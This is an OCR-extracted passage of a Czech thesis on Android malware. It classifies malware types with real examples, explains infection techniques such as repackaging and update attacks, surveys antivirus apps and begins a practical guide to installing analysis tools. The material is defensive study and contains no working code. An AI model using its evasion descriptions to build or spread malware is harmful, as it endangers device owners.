loggingu® ptes sledovani procesti po kradeni dat uloZenych v zafizeni. Zastupcem tohoto
malwaru je naptiklad trojan Smforw [23], ktery bez védomi uzivatele pfeposila vSechny pfi-
chozi zpravy na vzdaleny server nebo Sscul [24], ktery posila data o zafizeni na vzdaleny
server, a navic se snazi infikovat pocitace s operatnim systémem Windows prostfednic-

tvim USB.

Trojan-Banker: Funguje podobné jako Trojan-Spy, ale zaméiuje se na ziskani dat o pla-
tebni kartg, pfihlaSovacich udajii do mobilniho/internetového bankovnictvi a na zachyceni
komunikace mezi uZzivatelem a bankou. Casto je k tomu vyuzivan phising.’ Zastupcem této
kategorie je naptiklad malware A2{8a [25], ktery po instalaci v zatizeni vyhledava 232 apli-
kaci internetového bankovnictvi. Po GispéSném nalezeni aplikace posle uZivateli faleSné upo-
zornéni pod hlavic¢kou pfislusné banky, aby znovu zadali své ptihlasovaci udaje. Aplikace

navic pozaduje i opravnéni k praci s SMS, takze ziska i pfistup k autentizacnim SMS.

Trojan-Dropper: Tento typ v sob¢ obsahuje jiny malware v komprimované ¢i jinak zaSif-
rované podobé&. Dropper po svém spusténi rozbali (deSifruje) skryty malware a spusti ho.

Ptikladem je malware Agent BKY [28], ktery se objevil v druhé poloviné roku 2017

8 Keylogger: Technologie zaznamenavajici stisknuté znaky na klavesnici [26].

rrrrr

vatele prostfednictvim elektronické komunikace, podvodnych webovych stranek apod. [27].
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v oficidlnim obchodu Play. Aplikace pfi instalaci nepozaduje zadné zvlastni opravnéni, a do-
konce i provadi svou deklarovanou funkci. Na pozadi vSak dojde k desifrovani skodlivého
kodu, ktery stahne ze vzdaleného serveru malware v podobé Adobe Flash Playeru nebo jiné

popularni aplikace.

Na podobném principu pracuje i Trojan-Downloader, ktery po spusténi kontaktuje vzda-
leny server a stdhne z néj dalsi malware. Do této kategorie patii naptiklad RootSmart [29]

nebo FakeVideo [30].

Trojan-Ransom: Pouziva tzv. ransomware Utok — pti tomto utoku je uzivateli zabranén pfi-
stup k zafizeni nebo dojde k zaSifrovani dat a je po ném pozadovano vykupné. Zastupcem
této kategorie je malware DoubleLocker.A [31]. Ten se po instalaci maskuje jako Google
Play Service a poZaduje po uZivateli udéleni administratorskych prav. Pokud je dostane, na-
stavi sam sebe jako vychozi domovskou aplikaci. Diky tomu se malware vzdy, kdyz uzivatel
stiskne domovské tlacitko opét spusti. Zabranéni pristupu probiha ve dvou krocich —
malware nejdiiv zméni PIN k zafizeni a uzivatel se do né¢j nemtze dostat. Druhym krokem
je zaSifrovani vSech dat v zafizeni algoritmem AES, ktery je témét nemoZzné bez Sifrovaciho

klice rozlustit. Zaroven se na displeji zobrazi vyzva k zaplaceni vykupného v bitcoinech.

Trojan-SMS: Jeho cilem je zneuziti SMS. DéEli na SMSsend, ktery skryté posila zpravy
(Casto na prémiova Cisla) a SMSspy, ktery ptichozi zpravy pieposila na jina Cisla nebo na
vzdalené servery. Pfikladem tohoto malwaru je HippoSMS [32], ktery byl Sifen zejména na
neoficidlnich obchodech s aplikacemi v Cing. Aplikace zdanlivé plnila svou deklarovanou
funkci (manaZer SMS), ale na pozadi odesilala SMS na prémiova ¢isla. Potvrzovaci a infor-
macni zpravy z téchto Cisel aplikace automaticky mazala a uZivatel tak o jeji Skodlivé Cin-

nosti nevédél, dokud mu nepfislo vyactovani.

Trojan-Clicker: Ukolem clickeru je navitévovat specifické webové stranky za Gidelem zvy-
Seni jejich provozu at’ uz kviili zvySeni zisku nebo v ramci koordinovaného utoku tzv.
botnetu'?. Zastupcem této kategorie je Clicker.BN [33], ktery piivodné slouzil ke generovani
provozu na urcitych webovych strankach (seznam si malware stahnul ze vzdaleného ser-

veru), ale jak zjistili vyzkumnici ze spolecnosti McAfee, po par tydnech od identifikace se

10 Botnet: Propojena sit’ napadenych zafizeni ur¢ena ke $kodlivym G&eléim ($ifeni spamu a malwaru, kyberne-
tické utoky) a je kontrolovana tfeti stranou [34].
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zacaly objevovat modifikace malwaru, které slouzily k tzv. Distributed denial of service
(DDoS), pti kterém dochazi k ptehlceni cilového serveru velkym mnozstvim pozadavkl od

klientd [35].

Do této kategorie se fadi i Trojan-Adware, jehoz Skodlivou ¢innosti je zobrazovani reklam.

2.3.2 Exploit

Exploity zneuzivaji chyby v operacnich systémech. Nej¢astéji je jejich cilem ziskéni oprav-
néni uzivatele root a nasledna dalsi Skodliva ¢innost. Tento malware se ¢asto pouziva samot-
nymi uzivateli k rootnuti zatizeni. Dals$i exploity zneuZzivaji napiiklad chyby v kryptografic-
kém podpisu aplikaci apod. Podil exploitii na celkovém objemu malwaru v roce 2016 tvoril
0,67 %. Do této kategorie patii napiiklad AndroRAT [36], ktery byl identifikovan v inoru
2018 a maskuje se jako Cisti¢ nepotiebnych soubort. K rootu zatizeni zneuziva vetejné zna-
mou bezpec€nostni zranitelnost nékterych star§ich systémi. Po tspé€Sném rootu dojde k na-
vazani spojeni se vzdalenym serverem, ktery ziska k zafizeni ptistup a miize napt. nahravat

zvuk, ¢ist SMS, ziskat screenshot obrazovky nebo sledovat GPS polohu.

2.3.3 Backdoor

Backdoor neboli zadni vratka je metoda skrytého ptekondni zabezpeceni opera¢niho sys-
tému urcend predevsSim k zajisténi vzdaleného pfistupu. Backoory mohou byt vytvofeny
umyslné nebo netimysIng vyvojafi systému a hardwaru, ale také mohou byt vysledkem prace
Skodlive aplikace. V roce 2016 tvofil podil backdoori 0,2 %. V listopadu 2016 byl naptiklad
odhalen backdoor Adups [37], za kterym stala stejnojmenna ¢inska spolecnost, kterd doda-
vala aktualizacni systémy do smartphond. Backdoor byl zakédovan v neodstranitelné apli-
kaci, s kterou byla zatizeni dodavéana. Hlavni ¢innosti malwaru je ziskat informace o zafi-
zeni, seznam kontaktd a obsah SMS zprav. Tato data nasledn& odesila na servery v Cing.
Prostfednictvim backdooru je také mozné vzdalen€ instalovat a aktualizovat aplikace v za-

fizeni.
2.3.4 Worm

Worm, v piekladu Cerv, je malware jehoz cilem je rozsitit své kopie na co nejvice dalSich
zatizeni. Kazdy Cerv zpravidla obsahuje dalsi typ malwaru, ktery na infikovaném zatizeni
spousti. V roce 2016 tvotily Cervy pouze 0,01 % z objemu detekovaného malwaru. Jednim

ze zastupcu tohoto typu je Cerv Samsapo [38], ktery po instalaci stahuje dalSi Skodlivé
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aplikace ze vzdaleného serveru, na ktery zaroven nahrava detaily o zatfizeni, ale hlavné ro-

zesila na vSechny kontakty SMS zpravy s odkazem ke svému stazeni.

2.4 Zpusob infikovani

K infikovani zafizeni malwarem dochdzi po instalaci a spusténi skodlivé aplikace. Infiko-
vané aplikace jsou distribuovany prosttednictvim oficialniho obchodu Play, neoficialnimi
obchody s aplikacemi, webovymi strankami a ve vyjimecnych ptipadech 1 vzdalenym pii-

stupem k zafizeni.

Jelikoz se vyvojati obchodu Play neustale snazi odhalovat a odstraiiovat malware ze své
databaze, je k distribuci stale ¢astéji pouzivany tzv. Drive-by download. V této technice se
Casto zneuziva reklama na webovych strankach nebo v aplikacich a jejim hlavnim cilem je
pfimét uzivatele k navstiveni podvodné webové stranky, kde stdhne infikovanou aplikaci.
Inzerované aplikace mivaji velmi lakavé, ¢asto az nemozné funkce a podvodné stranky zase

Casto vypadaji stejn¢ jako oficialni obchod Play.

Samotné infikované aplikace Ize rozdé€lit do tii kategorii — legitimni aplikace, ke kterym byl
ptidan skodlivy kod, falesné aplikace vytvorené za ucelem Sifeni malwaru a zneuZiti chyby

v legitimnich aplikacich.

2.4.1 ZneuZiti legitimnich aplikaci

Pii zneuZiti legitimnich aplikaci se k jiz existujicimu zdrojovému koédu aplikaci pfidava

Skodlivy kod. K tomu se pouZzivaji 2 techniky — repackaking a update attack.
Repackaging

Repackaging neboli ptebaleni, je nejpouzivangjsi technikou k infikovani aplikaci. Pti pteba-
leni autor malwaru stahne z obchodu s aplikacemi legitimni a (idedln€) popularni aplikaci.
Nasledné aplikaci rozbali, pfida do ni sviij kod, pak aplikaci opét zabali a umistiji zpét na
oficialni nebo neoficidlni obchod ¢i webovou stranku. Samoziejmé je téméf nemozné upra-
vené aplikace umistit do oficidlniho obchodu Play pod stejnym nazvem jako original. Staci
vSak nazvy mirné€ upravit a schvalovaci algoritmus obchodu aplikaci schvali, pokud hrozbu
sdm neodhali. Kvuli témto komplikacim se tak ¢asto k distribuci stale Castéji pouzivaji neo-
ficidlni obchody nebo webové stranky. Diky tomu, ze musi byt cely Skodlivy kod ulozen

v aplikaci, je relativné snadné odhalitelny.
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Update attack

Technika update attack, v prekladu aktualizacni utok, funguje podobné jako repackaking,
ale je hufe odhalitelna. Na rozdil od repackakingu je namisto celého Skodlivého kodu do
aplikace pfidan pouze aktualizacni komponent, ktery stahne Skodlivy kod az pii spusténi

aplikace. Statické skenovani zdrojového kodu tak nemusi hrozbu odhalit.

2.4.2 Falesné aplikace

Pti vyvoji vlastnich faleSnych aplikaci, se tvlirci snazi bud’ zneuzit existujici aplikace nebo
vytvoftit své vlastni, vice ¢i méné funkcni aplikace. Pti zneuziti legitimnich aplikaci se ve
vetsSing pripadl pouziva pouze jejich vzhled, ktery uzivatele piiméje ke stazeni. Po spusténi

vSak aplikace svou proklamovanou funkci neplni, a naopak vykonava sviyj skodlivy kod.

V ptipadé€ vytvoteni vlastnich aplikaci se pouzivaji dva ptistupy — aplikace bud’ nema zad-
nou jinou funkci kromé spusténi skodlivého kodu nebo ¢asteéné ¢i plné plni svou proklamo-

vanou funkci.

2.4.3 ZneuZiti chyby legitimni aplikace

Stejné€ jako v opera¢nim systému se mohou 1 v legitimnich aplikacich nachézet zero-day ex-
ploits, kterych mohou ttoc¢nici zneuZit a infikovat zafizeni nebo samotné legitimni aplikace.
Ke zneuziti chyb se pouZivaji upravené a faleSné aplikace, ale 1 internetova ¢i SMS komu-

nikace zamétena na bezpecnostni nedostatek.

2.4.4 Vzdalena instalace

Malware se do zafizeni miZe dostat i vzdalené, a to zejména prostfednictvim obchodu Play.
Pokud uto¢nik ziské ptihlasovaci udaje do obchodu, mize Skodlivou aplikaci do zatizeni
nainstalovat bez védomi uZivatele. Je také moZzné zatizeni infikovat napadenim sitového
provozu. Tento zplsob je vSak velmi individudlni a technicky naro¢ny, proto se s nim pro-
zatim miZeme setkat pouze v malém méfitku. Aplikace je do zafizeni mozné nainstalovat

1 prostfednictvim backdooru.
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2.5 Popis vybranych malwarovych aplikaci

2.5.1 AgentJI

Malware se poprvé objevil v iinoru 2017 a byl identifikovan spolecnosti Eset jako Trojan-
Downloader.Agent.J1. K jeho sifeni byly pouzivany podvodné webové stranky, na které byli
uzivatelé presmérovani prostiednictvim napadenych legitimnich serverd. Na podvodnych

strankach o sobé¢ aplikace deklarovala, Ze jde o update Adobe Flash Playeru [39].

G5 .dl 0oxl 08:13

For safety you have to update TOO MUCH
Adobe Flash Player, auto download CONSUMPTION OF ENERGY!

starting now...

= ol the tsdates «Saving Battery» doesn’t work now.

«You have to turn it ON. .

. ; -1
CL— Confirm the :—"‘33 Install the

download updates

Download Updates

Obrazek 1: Screenshot podvodné webové stranky a prostredi malwaru [39]

Settings » Accessibility » Saving Battery

Po instalaci a spusténi aplikace dojde k zobrazeni obrazovky, kter4 uzivatele informuje o pfi-
1i§ velké spotiebé baterie a vyzyva ho k zapnuti fiktivniho tisporného rezimu. Pokud se uzi-
vatel pokusi reZzim zapnout, vyzada si aplikace prava spravce zafizeni. KdyZ je uZivatel po-
voli, dojde ke skryti zastupce a malware na pozadi kontaktuje fidici server, kterému pieda

informace o zafizeni a stdhne a nainstaluje z n¢j dalsi skodlivé aplikace.



UTB ve Zliné, Fakulta aplikované informatiky 31

2.5.2 SLocker

Malware se objevil v ¢ervnu 2017 a byl spole¢nosti Trend Micro identifikovan jako SLoc-
ker.OPST a tadi se do kategorie ransomware. K jeho Sifeni byla pouzivana ¢inska interne-
tova fora a po pouhych péti dnech od detekce byl jeho tvirce zadrzen policii. Aplikace se
vydavala za nastroj uréeny k podvadéni v mobilni hie King of Glory. Po instalaci a spusténi
zaSifruje data uzivatele v internim ulozisti (zamétuje se na fotografie, textové soubory, videa
a instalacni balicky aplikaci) a zobrazi uzivateli zadost o vykupné ve vysi 20 juant
(cca 70 K¢). Platba mé prob&hnout prostiednictvim platebni sluzby QQ. Pokud uzivatel od-

mitne zaplatit, po tfech dnech se vykupné zvysi a po tydnu dojde ke smazani dat.

K Sifrovani dat pouziva malware vygenerované nahodné ¢islo v kombinaci s Siframi MD5
a AES. Toto ndhodné ¢islo je zobrazeno uZivateli a slouZi k deSifrovani dat, které jak zjistili
vyzkumnici z Trend Micro, probihé jednoduchym ptidanim hodnoty 520 a zpétnym opako-

vanim celého Sifrovaciho procesu [40].

Ooops,your files have been encrypted!

RE/VF¥FA

3 NE-T = R

S { Check Payment ) F{HAE MR %

F1BEQQ=E R, #EEM. EHEEH

BAER . (N EAFEETEROLERNEE

IS M= (Copy) BHEERHFFYSEERE (Contact

Us } IBFFISH ST TS HE G EEES.

FIMERLTHS |, fEESS(F—EEE , FEEHN (Decrypt) ¥l
IS, EESPHAEERIGA T . Bad (Decrypt) Hetll , =T3ZED
st s T1E,

i, WS (ContactUs) &X# (JoinUs) , 8

o Check
oy Bayment

Obrazek 2: Screenshot Zadosti o vykupné [40]
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2.5.3 Operation Electric Powder

Jako Operation Electric Powder byla spolecnosti ClearSky Security pojmenovana kampan,
ktera probihala mezi roky 2016-2017 a zamétovala se na Israel Electric Company (IEC),
ktera je nejvétsim dodavatelem elektfiny v Izraeli. Soucasti kampané byla distribuce
malwaru na platformy Windows a Android. K distribuci se pouzivaly podvodné webové
stranky, které byly Sifeny pomoci faleSného profilu na socidlni siti Facebook. Tento profil
mél v seznamu pratel velky pocet zaméstnanct IEC a ptidaval komentare s odkazem na pod-
vodné stranky k jejich ptispévkiim. Malware se distribuoval 1 prostiednictvim stranky imi-
tujici oficialni profil hry Pokémon GO pro Izrael. Po otevieni odkazu byly uzivatelé pfesme-
rovani bud’ na bulvarni ¢lanek, ktery byl ptevzat z legitimniho serveru a obsahoval odkaz
k prehrani videa souvisejiciho s ¢lankem nebo na podvodné stranky, které imitovali oficialni
stranky urcené k distribuci hry Pokémon GO. V obou ptipadech byli uZivatelé na zakladé
jejich platformy vyzvani ke stazeni malwaru [41].
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Linda Santos

Timeline About

DO YOU KNOW LINDA?

To see what she shares with friends, send her a friend rec

Moti Baikin, Sufyan Adeas, Hosam Gbareen and 11 others like Top Comments -
this.
® Intro '
| 1 share
Works at Mobile Programming LL
Lives in Tel Aviv, Israel Linda Santos ynetnewes.com/video/Newfilm.htmi
From Jerusalem, |srael 1 i
Followed by 4 people
Friends

All Friends Recently Added Followers Following

J, Add Friend J. Add Friend

4, Add Friend

Obrazek 3: Screenshoty falesného profilu na Facebooku [41]
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Jedna z verzi malwaru ur€eného na platformu Android se maskovala za legitimni hru Poké-
mon GO. Tato verze patii do kategorie Trojan-Dropper a vychdzi z ptivodni podoby apli-
kace, kterd se maskovala za ptehravac videa a objevila se v dobé& nejvétsi popularity hry. Pti
instalaci nepoZaduje po uzivateli Zadné opravnéni, a tak je pomérné slozité hrozbu identifi-
kovat (ackoli legitimni aplikace potiebuje ptistup k poloze a fotoaparatu). Po spusténi apli-
kace dojde k desifrovani a instalaci skrytého malwaru, ktery pozaduje piistup k mnoha cit-
livym opravnénim a vydava se za legitimni aplikaci Google Service, ¢imZ se snazi zmast
uzivatele. Samotny Dropper nemd Zadnou funkci a pouze zobrazuje chybovou hlasku. Tim

pfim¢je uzivatele k jeho odinstalaci, ale malware v zafizeni zlstane [41].

C | @ Secure | https//pokemaonisraelyolasite.com Q 7

Pokemon Go

Its new game for collection Pokemons and Competition
With Your Friends Game for

Computers, Android

awnny Nobu arab

S bt oy

Obrazek 4: Screenshot podvodnych webovych stranek [41]
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3 ANTIVIRY NA PLATFORME ANDROID

Antivirovy software ma za sebou dlouhy vyvoj, a to zejména na platformé Windows. S ra-
pidnim nastupem mobilnich zafizeni bylo jen otazkou casu, kdy se objevi prvni Skodlivé
aplikace, a tak se vyvojaii museli zaméfit i na tuto platformu. Na rozdil od klasickym poci-
taCovych systémull maji antivirové aplikace na platformé Android velmi omezené moznosti,

jak s malwarem bojovat.

3.1 Princip antiviri

Antivirovy software je urCeny k prevenci, detekcei a odstranéni Skodlivého softwaru. K iden-

tifikaci Skodlivého koédu se pouzivaji techniky:

» Heuristicka detekce: Pouziva algoritmus, kterym porovnava ¢asti zdrojového kddu
analyzované aplikace s jiz zndmym Skodlivym kdédem. Diky tomuto zpisobu je
mozné detekovat jesté neobjeveny malware, ale generuje i mnoho falesné€ pozitivnich
vysledkd.

» Slovnikova detekce: Kazda antivirova aplikace disponuje databazi s daty o jiz zna-
mych Skodlivych aplikacich, se kterymi porovnava analyzované aplikace.

* Detekce zaloZena na chovani: Antiviry zkoumaji chovani spusténych aplikaci a po-
kud aplikace vykazuje nestandardni nebo nebezpecné chovani (napft. sleduje stisknuti
klaves, méni systémové nastaveni apod.), upozorni na néj uZivatele.

= Sandboxova detekce: N&které antiviry v piipad€, Ze vyhodnoti aplikaci jako pode-
zielou, ji nejdiive spusti v emulovaném prostfedi a analyzuji jeji chovani. Aplikace
tak nemliZe ohrozit ani poskodit OS, protoZe k nému nema pfistup.

* Cloudova detekce: Antivirus sbird velké mnozstvi dat o systému a odesila je do
cloudu, kde probiha jejich analyza pomoci vySe zminénych technik. Tento zptisob

vyrazné Setfi vykon zatizeni, ale ke své funkci potfebuje internetové ptipojeni.

Na platformé Android je funk¢nost antiviri vyznamné omezena kvili zabezpecovacim prv-
ktm opera¢niho systému. Kvili sandboxingu aplikaci nemohou antiviry sledovat jejich cho-
vani v redlném cCase a kviili systému fizeni oprdvnéni nemohou pfistupovat ke vS§em soubo-
ram, které by pottebovaly analyzovat. Tento problém je mozné vyftesit rootem zafizeni, po
kterém muze antivirova aplikace pracovat bez omezeni. Antiviry také vétSinou maji mnoho
dopliikovych funkei jako jsou napt. zalohovani a obnova dat, vzdalené vymazani a sledovani

zafizeni apod.
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3.2 Popis vybranych antiviri

Avast Antivirus 2018: Za jeho vyvojem stoji Ceskd spoleCnost Avast Software, ktera je
v soucasné dob¢ nejvetsi firmou zabyvajici se antivirovou ochranou. Ve verzi zdarma nabizi
nejen antivirovou ochranu, pfi které kontroluje aplikace a webové stranky (tzv. webovy §tit),
ale i ¢iSténi nepotiebnych dat, blokovani hovori, zabezpeceni Wi-Fi pfipojeni, trezor foto-
grafii a systém Setfeni energie. V placené prémiové verzi, ktera je bez reklam, navic nabizi

aplikace tyto dalsi funkce:

» Anti-Theft: Slouzi k zamceni a nalezeni ztraceného nebo ukradeného zatizeni.
» Zamek aplikaci: Umozinuje uzamceni libovolné aplikace pomoci kodu nebo gesta.

» Centrum podpory: Komunikace s podporou piimo z aplikace.

Do portfolia spolecnosti Avast patii i antivirus AVG, ktery koupili od spolecnosti AVG
Technologies v roce 2016 a firma Priform, kterd vyviji popularni optimaliza¢ni a ¢istici soft-

ware [42].

Mimo antivirovou aplikaci nabizi i1 dal$i néstroje pro optimalizaci, udrzbu a zabezpeceni

(napf. Avast Cleanup, Battery Saver nebo Wi-Fi Finder).

AVG Antivirus: Tento software je vyvijen Ceskou spolecnosti AVG Technologies, kterou
v roce 2016 koupila spolecnost Avast Software. Diky tomu jsou ob¢ aplikace v placené 1 ve
verzi zdarma naprosto stejné s jedinym rozdilem, kterym je vzdalena podpora, kterd v pla-

cené verzi AVG chybi.

Mobile Security & Antivirus: Za vyvojem této aplikace stoji slovenska firma ESET. Ve
verzi zdarma nabizi antivirovou ochranu, ochranu pfed podvodnymi webovymi strankami,
vzdalené ziskani polohy zatizeni pomoci SMS. Vyhodou také je, Ze po instalaci verze
zdarma ziskaji uZivatele na 30 dni pfistup k prémiovym funkcim. Mezi ty patii proaktivni
Anti-Theft, ktery odesila polohu zafizeni pfed vybitim baterie, zdmek aplikaci, ptehled
o opravnénich aplikaci, nastaveni pravidelné kontroly a moznost vyuzivat prémiovou licenci
az na péti zafizenich.

Kaspersky Mobile Antivirus: AppLock & Web Security: tato aplikace je produktem
ruské spole¢nosti Kaspersky Lab. Ve verzi zdarma nabizi standardni antivirovou ochranu,
webovy §tit, vzdalené vyhledani a smazani obsahu zafizeni a blokovani zprav a hovori. Pla-
cend verze je roz$ifena o ochranu osobnich udajti a soukromi (skryti kontaktii, SMS a vypisu

volani) a o zdmek aplikaci. Stejné jako Avast také nabizi spoustu dalSich dopliikovych
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bezpec¢nostnich a udrzbovych nastrojt, jako jsou naptiklad aplikace SafeKids, ktera slouzi
ke spravé rodicovské kontroly nad zatizenim nebo Password Manager pro zapamatovani

hesel.

Norton Security & Antivirus: za vyvojem aplikace stoji americka spole¢nost Symantec.
Ve verzi zdarma nabizi antivirovou ochranu, webovy §tit a vzdalené uzamceni zatizeni.
Stejné jako antivirus od spolecnosti Eset nabizi prémiové funkce na 30 dni zdarma. Mezi
tyto funkce patii tzv. poradce, ktery jesté pred stazenim aplikaci analyzuje a upozorni na
potencialni nebezpeci nebo i1 na vysokou spotfebu energie. DalSimi funkcemi jsou ochrana
osobnich udaji, blokovani hovorti a SMS, vzdalené vymazani obsahu zafizeni, odeslani
SMS s daji o poloze zafizeni pred vybitim baterie a tajné potizeni fotografii uzivatele v pii-

padé ztraty nebo odcizeni.

3.3 Srovnani vybranych antiviri

Srovnani antivird je uvedeno v tabulce €. 5. Ta je sestavena podle funkci, které vyvojari
uvedli v popisu aplikace v oficidlnim obchodu Play. Aplikace byly vybrany na zékladé jejich
popularity v Ceské republice podle vysledkil vyhledavani v obchodu.
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Tabulka 5: Srovnani vybranych antivirii (zdroj: vlastni)
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Norton

Tabulka 6: Legenda k tabulce srovnani antivirii (zdroj: vlastni)

funkce je dostupna ve verzi zdarma

funkce je dostupné v placené verzi

funkce neni dostupnd nebo ji vyvojaii neuvedli




UTB ve Zliné, Fakulta aplikované informatiky

38

II. PRAKTICKA CAST
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4 TEST MALWARU

Cilem testl je prozkoumani nastroja a technik pouzivanych k analyze aplikaci a monitoro-
vani jejich provozu na redlném zatizeni. Soucasti testli jsou navody a postupy, jak jednotlivé
nastroje nainstalovat, nakonfigurovat a pouzivat k analyze. Ke kazdému pokusu je zpraco-
van protokol obsahujici zjisténé skutecnosti, na jejichz zakladé jsou vyvozeny zaveéry o vlast-
nostech a ¢innostech aplikace, které jsou v praci prezentovany. Po dokonceni analyzy jsou

zkoumany i zptsoby, jak malware ze zatizeni odstranit.

4.1 Konfigurace pracovni stanice
Pracovni stanice: Laptop HP 250 G5 (W4MS89EA).
Operaéni systém: Windows 10 Home 64 bit.

Tabulka 7: Seznam pouzitého softwaru (zdroj: viastni)

Nazev Pouzita verze Pozadavky Pouzita verze
Android Studio 3.0.1
ApkTool 2.3.1
Burp Suite CE 1.7.33 9.0.4
Java SDK
dex2jar 2.0
JD-GUI 1.4.0
Drozer 2.4.4
2.7
Python
3.64

Androguard 3.2

Microsoft Visual C++ 15.7
PSPad 4.6.1 - -
WireShark 2.4.3 - -
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4.2 Popis pouzitého softwaru

V této Casti se nachazi seznam pouzitych programii, spolecné s popisem a s odkazy k jejich
staZeni.

Androguard

Soubor nastroji uréeny k analyze aplikaci ve formatech APK a DEX napsany v programo-

vacim jazyce Python.
Odkaz ke stazeni:

http://github.com/androguard/androguard
Android Studio

Oficialni vyvojové prostiedi pro platformu Android, které obsahuje néstroje a knihovny ne-
zbytné k praci se zafizenim.

Odkaz ke stazeni:

http://developer.android.com/studio/index.html

Android Debug Bridge (ADB)

Oficialni nastroj umoziujici komunikaci s ptikazovym procesorem (unix shell). Je soucésti

Android Studia, ale je moZné ho nainstalovat i samostatné.

Odkaz ke stazeni:

http://developer.android.com/studio/releases/platform-tools.html
APKTool

Aplikace zalozena na Javé, ktera je schopna dekodovat APK soubor do jeho originélni po-

doby.

Odkaz ke stazeni:

http://bitbucket.org/iBotPeaches/apktool/downloads/


http://github.com/androguard/androguard
http://www.developer.android.com/studio/index.html
http://developer.android.com/studio/releases/platform-tools.html
http://bitbucket.org/iBotPeaches/apktool/downloads/

UTB ve Zliné, Fakulta aplikované informatiky 41

Burp Suite

Nastroj pro testovani zabezpeceni webovych aplikaci zalozeny na Javé. Pti pokusech je po-
uzit ke spusténi proxy serveru na pocitaci. Server slouzi k odposlouchavani internetové ko-

munikace zafizeni pomoci tzv. man-in-the-middle utoku.!!

Odkaz ke stazeni:

http://portswigger.net/burp

dex2jar

Nastroj umoziujici ¢teni souborii ve formatu Dalvik. Mimo jiné umoznuje ptimé pievedeni
APK souboril do formatu JAR.

Odkaz ke stazeni:

http://bitbucket.org/pxb1988/dex2jar/downloads/

Drozer

Nastroj pro dynamickou analyzu aplikaci na platformé Android. Pouziva se zejména k pe-

netracnimu testovani aplikaci.

Odkaz ke staZeni:

https://Tabs.mwrinfosecurity.com/tools/
Java SE Development Kit (SDK)

Soubor nastroji a knihoven potiebny k vyvoji a spusténi aplikaci na platformé Java.

Odkaz ke stazeni:

http://oracle.com/technetwork/java/javase/downloads/index.html

JD-GUI
Java dekompilator umoziujici prohlizeni zdrojového kodu soubort ve formatu JAR.

Odkaz ke stazeni:

http://jd.benow.ca/

' Man-in-the-middle: Typ kybernetického utoku, pti kterém dojde k monitorovani sitové komunikace mezi
dvéma koncovymi body. Podstata utoku spo¢iva v tom, ze utoénik vytvoti novy aktivni bod, pres ktery komu-
nikace pteposilana bez védomi sledovanych ucastniki [43].


http://portswigger.net/burp
http://bitbucket.org/pxb1988/dex2jar/downloads/
http://jd.benow.ca/
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Microsoft Visual C++
Vyvojové prostiedi od spole¢nosti Microsoft pro programovaci jazyky C a C++.

Odkaz ke stazeni:

https://support.microsoft.com/cs-cz/help/2977003/the-Tatest-
supported-visual-c-downloads

PSpad
Univerzalni textovy editor s funkci zvyraznéni syntaxe kodu.

Odkaz ke staZeni:

http://pspad.com/cz/download.php
Python

Soubor néstroji a knihoven potfebny k vyvoji aplikaci v programovacim jazyce Python.
Odkaz ke stazeni:

http://python.org/downloads
Wireshark

Paketovy sniffer'? a protokolovy analyzér, ktery umoZziiuje analyzovat sitovou komunikaci.

Odkaz ke stazeni:

http://wireshark.org/#download

4.3 Instalace a konfigurace softwaru

Zde se nachazeji navody na instalaci a konfiguraci pouzitého softwaru. Pokud k programu
neni uveden postup instalace, staci postupovat podle pokynil instaldtoru nebo je ve spusti-

telné formé.

12 Sniffer: Softwarovy nebo hardwarovy prvek, prostfednictvim kterého je mozné zachytévat komunikaci v po-
CitaCové siti [44].


https://support.microsoft.com/cs-cz/help/2977003/the-latest-supported-visual-c-downloads
https://support.microsoft.com/cs-cz/help/2977003/the-latest-supported-visual-c-downloads
http://wireshark.org/#download
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4.3.1 Androguard
Instalace:

1. Rozbalte stazeny ZIP soubor.
2. Spustte ptikazovy fadek a ptesuiite se do slozky s rozbalenymi soubory.

3. Piikazem python setup.py install spustte instalaci.

4.3.2 Android Studio
K instalaci je nutné internetové pfipojeni.
Instalace a konfigurace:

1. Spustte stazeny instalacni soubor a postupujte podle instrukei instalaéniho programu.

2. Po dokoncenti instalace spust’te aplikaci.

3. Pfiprvnim spusténi se zobrazi priivodce nastavenim. Po uvitaci obrazovce mizete zvolit
standardni nebo vlastni (custom) nastaveni. Vyberte moznost custom a tlacitkem next
pokracujte k dalsimu kroku.

f Android Studio Setup Wizard

,_,( Install Type

Choose the type of setup you want for Android Studio:

C’ Standard

Android Studio will be installed with the most common settings and options.

Recommended for most users.
© Custom

You can customize installation settings and components installed.

s | [N [canee ) [

Obrazek 5: Moznosti nastaveni pri prvinim spusténi Android Studia (zdroj: viastni)
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4. Na obrazovce vybéru instalace a aktualizace komponentti zatrhnéte moznosti Android

SDK Platform a API.

#¢ Android Studio Setup Wizard

ﬂ SDK Components Setup

Check the components you want to update/install. Click Next to continue.

ST . ..o of Acdrcid platform APTs tols and i

Android SDK Platform that enables you to debug. profile, and compile your apps.
API 27 - (151 MB)

[ Performance {Intel @ HAXM) - (2,57 MB)
[ Android Virtual Device — (741 MB)

The setup wizard will update your current Android SDE
mstallation (if necessary) or mstall a new version.

Android 5DK Location: Total download size: 5

CA\Users\Ja\AppData\Local\Android\Sdk |D Disk space available on drive : |

/4 An existing Android SDK was detected. The setup wizard will only download missing or outdated SDK compo

Previous ml Cancel H Finish l

Obrazek 6: Vyber instalace a aktualizace komponentii (zdroj: viastni)

5. Po spusténi programu kliknéte na ivodni obrazovce na tlacitko configure a vyberte po-

lozku SDK manager.

% Welcome to Android Studio

Vas

Android Studio

Version 3.0.1

¥ Start a new Android Studio project

Open an existing Android Studio projm

¥ Check out project from Version Contr Settings
Plugins

¥ profile or debug APK Import Settings

¥ Import project (Gradle, Eclipse ADT, € Bxport Settings
Settings Repository...

¥ Import an Android code sample Check for Update
Project Defaults >

1 Events ~ # Configure ~ Get Help ~

Obrazek 7: Spusteni SDK Manageru (zdroj: viastni)
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6. Po otevieni okna nastaveni vyberte panel SDK Tools a zkontrolujte, zda jsou nainstalo-
vané polozky:
Android SDK Tools
Android SDK Platform-Tools
Google USB Driver

& Default Settings

@ )] Appearance & Behavior > System Settings > Android SDK
Appearance & Behavior Manager for the Android SDK and Tools used by Android Studio
Appearance Android SDK Location: ‘ C\Users\Ja\AppData\Local\Android\Sdk Edit
iteris A Wegleas SDK Platforms | SDK Tools | SDK Update Sites
System Settings Below are the available SDK developer tools. Once installed, Android Studio will
Passwords automatically check for updates. Check “show package details” to display available
HTTP Proxy versions of an SDK Toaol.
Name Version Status
Updates I CIvidRe INULTTSLE e
Usage Statistics CiLos _ ] Nt Installed
- [ Android Auto API Simulators 1 Not installed
Android SDK [ Android Auto Desktop Head Unit emulator 1.1 Not installed
Notifications [=) Android Emulator 2530 Update Available: 27.1.10
